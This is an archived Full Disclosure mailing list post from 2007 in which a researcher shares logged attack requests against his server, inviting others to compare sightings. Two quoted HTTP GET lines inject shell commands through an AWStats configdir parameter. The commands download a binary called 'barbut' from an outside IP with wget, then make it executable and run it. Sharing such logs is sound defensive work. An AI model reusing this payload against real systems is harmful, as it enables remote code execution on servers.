Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Barbut
From: Simon Smith <simon () snosoft com>
Date: Wed, 21 Nov 2007 14:20:22 -0500

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Anyone else seen these really 3l337 attacks?



From: 196.212.26.82

GET
/stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
HTTP/1.0
Host: [removed]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)Connection: close
Cache-Control: max-age=259200
Connection: keep-alive

From: 196.35.158.181

GET
/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
HTTP/1.1
Host: [ removed ]
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)Connection: close
Cache-Control: max-age=259200
X-Forwarded-For: 196.212.26.82
Via: 1.0 nc5-rba (NetCache NetApp/5.5R6D17DEBUG1)


gotta love script kids...



- --

- - simon

- ----------------------
http://www.snosoft.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (Darwin)

iD8DBQFHRITrf3Elv1PhzXgRAshmAKCZa1k508Xhb3y0tYmegm15T4hzVQCfYOY3
++PvxKBY95glAocK8sX/03E=
=bBXp
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]